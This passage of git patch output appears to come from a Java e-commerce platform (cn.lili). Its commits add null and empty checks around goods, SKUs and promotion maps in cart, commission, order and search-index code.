cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.context.UserContext; +import cn.lili.common.utils.StringUtils; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsSearchParams; @@ -218,22 +219,19 @@ public class GoodsSkuServiceImpl extends ServiceImpl i Map map = new HashMap<>(16); //获取商品VO GoodsVO goodsVO = goodsService.getGoodsVO(goodsId); + //如果skuid为空,则使用商品VO中sku信息获取 + if (StringUtils.isEmpty(skuId) || "undefined".equals(skuId)) { + skuId = goodsVO.getSkuList().get(0).getId(); + } //从缓存拿商品Sku GoodsSku goodsSku = this.getGoodsSkuByIdFromCache(skuId); - - - //如果规格为空则使用商品ID进行查询 + //如果使用商品ID无法查询SKU则返回错误 if (goodsSku == null) { - skuId = goodsVO.getSkuList().get(0).getId(); - goodsSku = this.getGoodsSkuByIdFromCache(skuId); - //如果使用商品ID无法查询SKU则返回错误 - if (goodsSku == null) { - throw new ServiceException(ResultCode.GOODS_NOT_EXIST); - } + throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } - //商品为空||商品下架||商品未审核通过||商品删除,则提示:商品已下架 - if (goodsVO == null || goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name()) + //商品下架||商品未审核通过||商品删除,则提示:商品已下架 + if (goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name()) || !goodsVO.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) || Boolean.TRUE.equals(goodsVO.getDeleteFlag())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); From c0c530adad2d4ee1f3a392f33321410f44ed34e3 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 12:22:52 +0800 Subject: [PATCH 089/145] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E5=AF=B9=E5=95=86?= =?UTF-8?q?=E5=93=81=E4=B8=BA=E7=A9=BA=E7=9A=84=E5=88=A4=E5=AE=9A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 6a1adf98..c1e2d3c3 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -226,7 +226,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //从缓存拿商品Sku GoodsSku goodsSku = this.getGoodsSkuByIdFromCache(skuId); //如果使用商品ID无法查询SKU则返回错误 - if (goodsSku == null) { + if (goodsVO == null | goodsSku == null) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } From 0ae1ae5df49faf9239d54442f7939efbf1dc27e4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 12:27:46 +0800 Subject: [PATCH 090/145] =?UTF-8?q?=E5=A6=82=E6=9E=9C=E6=97=A0=E6=B3=95?= =?UTF-8?q?=E8=8E=B7=E5=8F=96=E5=88=B0=E6=B6=88=E6=81=AF=EF=BC=8C=E5=88=99?= =?UTF-8?q?=E4=B8=8D=E8=AE=B0=E5=BD=95=E8=B6=B3=E8=BF=B9=EF=BC=8C=E4=B8=8D?= =?UTF-8?q?=E5=86=8D=E6=8A=9B=E5=87=BA=E5=BC=82=E5=B8=B8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/statistics/aop/aspect/PageViewInterceptor.java | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java b/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java index 183a2e52..491ceba5 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java +++ b/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java @@ -62,7 +62,12 @@ public class PageViewInterceptor { break; } case STORE: - Map map = spelFormat(point); + Map map = null; + try { + map = spelFormat(point); + } catch (Exception e) { + return; + } storeId = map.get("id"); break; default: From 3d56c9cc81d4effd18bbe938e361c9350abdd54b Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 12:42:04 +0800 Subject: [PATCH 091/145] =?UTF-8?q?=E5=95=86=E5=93=81=E9=9D=9E=E7=A9=BA?= =?UTF-8?q?=E5=88=A4=E5=AE=9A=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index c1e2d3c3..8715aa04 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -226,13 +226,13 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //从缓存拿商品Sku GoodsSku goodsSku = this.getGoodsSkuByIdFromCache(skuId); //如果使用商品ID无法查询SKU则返回错误 - if (goodsVO == null | goodsSku == null) { + if (goodsVO == null || goodsSku == null) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } //商品下架||商品未审核通过||商品删除,则提示:商品已下架 - if (goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name()) - || !goodsVO.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) + if (GoodsStatusEnum.DOWN.name().equals(goodsVO.getMarketEnable()) + || !GoodsAuthEnum.PASS.name().equals(goodsVO.getAuthFlag()) || Boolean.TRUE.equals(goodsVO.getDeleteFlag())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } From e5f725cf16300770dc9884c199915c86f76349fb Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 12:51:33 +0800 Subject: [PATCH 092/145] =?UTF-8?q?=E7=B4=A2=E5=BC=95=E5=88=9D=E5=A7=8B?= =?UTF-8?q?=E5=8C=96=E5=AF=B9=E5=95=86=E5=93=81=E5=88=A0=E9=99=A4=E4=B8=8E?= =?UTF-8?q?=E5=90=A6=E5=A2=9E=E5=8A=A0=E5=88=A4=E5=AE=9A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../search/serviceimpl/EsGoodsIndexServiceImpl.java | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index c68d41b2..67faf657 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -118,22 +118,19 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements ThreadUtil.execAsync(() -> { try { - //查询商品信息 - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); - queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); - List esGoodsIndices = new ArrayList<>(); LambdaQueryWrapper goodsQueryWrapper = new LambdaQueryWrapper<>(); goodsQueryWrapper.eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name()); goodsQueryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); + goodsQueryWrapper.eq(Goods::getDeleteFlag, false); for (Goods goods : goodsService.list(goodsQueryWrapper)) { LambdaQueryWrapper skuQueryWrapper = new LambdaQueryWrapper<>(); skuQueryWrapper.eq(GoodsSku::getGoodsId, goods.getId()); skuQueryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name()); skuQueryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); + skuQueryWrapper.eq(GoodsSku::getDeleteFlag, false); List goodsSkuList = goodsSkuService.list(skuQueryWrapper); int skuSource = 100; From c5187a63b9e620ed08cf0e91db8f008e0ecf99f5 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 22 Dec 2021 15:34:20 +0800 Subject: [PATCH 093/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E7=BB=93=E7=AE=97?= =?UTF-8?q?=E6=97=B6=E6=97=A0=E4=BF=83=E9=94=80=E6=8A=A5=E9=94=99=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/cart/render/impl/CheckDataRender.java | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index a315538b..64e28e4e 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -114,13 +114,15 @@ public class CheckDataRender implements CartRenderStep { cartSkuVO.setErrorMessage("商品库存不足,现有库存数量[" + dataSku.getQuantity() + "]"); } //移除无效促销活动 - cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { - BasePromotions basePromotions = (BasePromotions) i.getValue(); - if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { - return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); - } - return true; - }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))); + if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { + cartSkuVO.setPromotionMap(cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> { + BasePromotions basePromotions = (BasePromotions) i.getValue(); + if (basePromotions.getStartTime() != null && basePromotions.getEndTime() != null) { + return basePromotions.getStartTime().getTime() <= System.currentTimeMillis() && basePromotions.getEndTime().getTime() >= System.currentTimeMillis(); + } + return true; + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue))); + } } } From 787617f50429cada1947935d7f96a8728b6e0041 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 22 Dec 2021 16:50:50 +0800 Subject: [PATCH 094/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E7=BB=93=E7=AE=97?= =?UTF-8?q?=E6=97=B6=E4=BF=83=E9=94=80=E4=B8=BA=E7=A9=BA=E7=9A=84=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../order/cart/entity/vo/CartSkuVO.java | 8 ++ .../cart/render/impl/CheckDataRender.java | 18 +++-- .../cart/render/impl/CommissionRender.java | 4 +- .../cart/render/impl/FullDiscountRender.java | 2 +- .../cart/render/impl/SkuPromotionRender.java | 24 +++--- .../order/cart/service/CartServiceImpl.java | 81 ++++++++++--------- .../modules/order/order/entity/dos/Order.java | 2 +- 7 files changed, 76 insertions(+), 63 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java index d9a6f3e0..cd986b28 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/CartSkuVO.java @@ -10,6 +10,7 @@ import lombok.NoArgsConstructor; import java.io.Serializable; import java.util.Date; +import java.util.HashMap; import java.util.List; import java.util.Map; @@ -122,4 +123,11 @@ public class CartSkuVO extends CartBase implements Serializable { this.promotionMap = promotionMap; } } + + public Map getPromotionMap() { + if (this.promotionMap == null) { + return new HashMap<>(); + } + return promotionMap; + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index 64e28e4e..4f8ca2a5 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -172,18 +172,20 @@ public class CheckDataRender implements CartRenderStep { } } //判断拼团商品的限购数量 - Optional> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); - if (pintuanPromotions.isPresent()) { - Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); - Integer limitNum = pintuan.getLimitNum(); - for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { - if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { - throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR); + if (tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { + Optional> pintuanPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (pintuanPromotions.isPresent()) { + Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); + Integer limitNum = pintuan.getLimitNum(); + for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { + if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { + throw new ServiceException(ResultCode.PINTUAN_LIMIT_NUM_ERROR); + } } } } //积分商品,判断用户积分是否满足 - } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { + } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { //获取积分商品VO Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); if (pointsPromotions.isPresent()) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index 5183c7d4..bcd389ef 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -69,7 +69,7 @@ public class CommissionRender implements CartRenderStep { } //如果积分订单 积分订单,单独操作订单结算金额和商家结算字段 - if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { + if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> pointsPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.POINTS_GOODS.name())).findFirst(); if (pointsPromotions.isPresent()) { PointsGoods pointsGoods = (PointsGoods) pointsPromotions.get().getValue(); @@ -77,7 +77,7 @@ public class CommissionRender implements CartRenderStep { } } //如果砍价订单 计算金额,单独操作订单结算金额和商家结算字段 - else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { + else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA) && tradeDTO.getSkuList().get(0).getPromotionMap() != null && !tradeDTO.getSkuList().get(0).getPromotionMap().isEmpty()) { Optional> kanjiaPromotions = tradeDTO.getSkuList().get(0).getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); if (kanjiaPromotions.isPresent()) { KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java index 35bfb885..1ef8b5bf 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -48,7 +48,7 @@ public class FullDiscountRender implements CartRenderStep { //循环店铺购物车 for (CartVO cart : cartList) { List fullDiscountSkuList = cart.getSkuList().stream() - .filter(i -> i.getPromotionMap().keySet().stream().anyMatch(j -> j.contains(PromotionTypeEnum.FULL_DISCOUNT.name()))) + .filter(i -> i.getPromotionMap() != null && !i.getPromotionMap().isEmpty() && i.getPromotionMap().keySet().stream().anyMatch(j -> j.contains(PromotionTypeEnum.FULL_DISCOUNT.name()))) .collect(Collectors.toList()); if (!fullDiscountSkuList.isEmpty()) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 2251aedf..40ba5db4 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -9,7 +9,6 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; @@ -122,18 +121,19 @@ public class SkuPromotionRender implements CartRenderStep { for (CartVO cartVO : tradeDTO.getCartList()) { //循环sku for (CartSkuVO cartSkuVO : cartVO.getCheckedSkuList()) { - //赋予商品促销信息 - for (Map.Entry entry : cartSkuVO.getPromotionMap().entrySet()) { - // 忽略拼团活动 - if (entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { - continue; + if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { + //赋予商品促销信息 + for (Map.Entry entry : cartSkuVO.getPromotionMap().entrySet()) { + // 忽略拼团活动 + if (entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { + continue; + } +// BasePromotions basePromotions = (BasePromotions) entry.getValue(); +// PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); + cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); + cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); +// cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO); } - BasePromotions basePromotions = (BasePromotions) entry.getValue(); - PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId()); - cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); - cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); - - cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index bc75c9f9..cb406aa7 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -367,7 +367,7 @@ public class CartServiceImpl implements CartService { List esGoodsList = esGoodsSearchService.getEsGoodsBySkuIds(ids); for (EsGoodsIndex esGoodsIndex : esGoodsList) { - if (esGoodsIndex != null && esGoodsIndex.getPromotionMap() != null) { + if (esGoodsIndex != null && esGoodsIndex.getPromotionMap() != null && !esGoodsIndex.getPromotionMap().isEmpty()) { List couponIds = esGoodsIndex.getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList()); if (!couponIds.isEmpty()) { List currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice); @@ -614,12 +614,14 @@ public class CartServiceImpl implements CartService { continue; } //有促销金额则用促销金额,否则用商品原价 - if (cartSkuVO.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name()) || i.contains(PromotionTypeEnum.SECKILL.name()))) { - cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); - skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); - } else { - cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); - skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); + if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { + if (cartSkuVO.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name()) || i.contains(PromotionTypeEnum.SECKILL.name()))) { + cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); + skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum())); + } else { + cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); + skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); + } } } @@ -702,15 +704,17 @@ public class CartServiceImpl implements CartService { private void checkPintuan(CartSkuVO cartSkuVO) { //拼团活动,需要对限购数量进行判定 //获取拼团信息 - Optional> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); - if (pintuanPromotions.isPresent()) { - Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); - //写入拼团信息 - cartSkuVO.setPintuanId(pintuan.getId()); - //检测拼团限购数量 - Integer limitNum = pintuan.getLimitNum(); - if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { - throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); + if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { + Optional> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); + if (pintuanPromotions.isPresent()) { + Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue(); + //写入拼团信息 + cartSkuVO.setPintuanId(pintuan.getId()); + //检测拼团限购数量 + Integer limitNum = pintuan.getLimitNum(); + if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { + throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR); + } } } } @@ -721,33 +725,32 @@ public class CartServiceImpl implements CartService { * @param cartSkuVO 购物车信息 */ private void checkKanjia(CartSkuVO cartSkuVO) { + if (cartSkuVO.getPromotionMap() != null && !cartSkuVO.getPromotionMap().isEmpty()) { + Optional> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); + if (kanjiaPromotions.isPresent()) { + KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); + //查找当前会员的砍价商品活动 + KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); + kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId()); + kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); + kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); + KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); - Optional> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst(); - if (kanjiaPromotions.isPresent()) { - KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue(); - //查找当前会员的砍价商品活动 - KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); - kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId()); - kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); - kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); - KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); - - //校验砍价活动是否满足条件 - //判断发起砍价活动 - if (kanjiaActivity == null) { - throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); - //判断砍价活动是否已满足条件 - } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) { + //校验砍价活动是否满足条件 + //判断发起砍价活动 + if (kanjiaActivity == null) { + throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); + //判断砍价活动是否已满足条件 + } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) { + cartSkuVO.setKanjiaId(kanjiaActivity.getId()); + cartSkuVO.setPurchasePrice(0D); + throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR); + } + //砍价商品默认一件货物 cartSkuVO.setKanjiaId(kanjiaActivity.getId()); - cartSkuVO.setPurchasePrice(0D); - throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR); + cartSkuVO.setNum(1); } - //砍价商品默认一件货物 - cartSkuVO.setKanjiaId(kanjiaActivity.getId()); - cartSkuVO.setNum(1); } - - } /** diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java index 22d0e877..816cd62d 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/Order.java @@ -272,7 +272,7 @@ public class Order extends BaseEntity { this.setOrderPromotionType(tradeDTO.getCartTypeEnum().name()); //判断是否为拼团订单,如果为拼团订单获取拼团ID,判断是否为主订单 - if (tradeDTO.getCartTypeEnum().name().equals(PromotionTypeEnum.PINTUAN.name())) { + if (tradeDTO.getCartTypeEnum().name().equals(PromotionTypeEnum.PINTUAN.name()) && cartVO.getCheckedSkuList().get(0).getPromotionMap() != null && !cartVO.getCheckedSkuList().get(0).getPromotionMap().isEmpty()) { Optional pintuanPromotions = cartVO.getCheckedSkuList().get(0).getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.PINTUAN.name())).findFirst(); pintuanPromotions.ifPresent(s -> promotionId = s.split("-")[1]); } From 1db86f2865627db0e77ad4224fc35bb3fd092dbb Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 22 Dec 2021 17:00:30 +0800 Subject: [PATCH 095/145] =?UTF-8?q?es=E4=B8=AD=E5=95=86=E5=93=81=E7=B4=A2?= =?UTF-8?q?=E5=BC=95=E4=BF=A1=E6=81=AF=EF=BC=8C=E4=BB=A5=E5=8F=8A=E8=99=9A?= =?UTF-8?q?=E6=8B=9F=E5=95=86=E5=93=81=E4=BC=9A=E6=90=BA=E5=B8=A6=E5=A4=A7?= =?UTF-8?q?=E9=87=8F=E4=BC=98=E6=83=A0=E5=88=B8=E4=BF=A1=E6=81=AF=E4=B8=8B?= =?UTF-8?q?=E5=8D=95=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cart/render/impl/SkuPromotionRender.java | 19 ++++++++++++++++--- .../entity/vos/CouponSearchParams.java | 8 ++++---- .../serviceimpl/PromotionServiceImpl.java | 2 ++ 3 files changed, 22 insertions(+), 7 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java index 2251aedf..adc4bc60 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/SkuPromotionRender.java @@ -116,7 +116,6 @@ 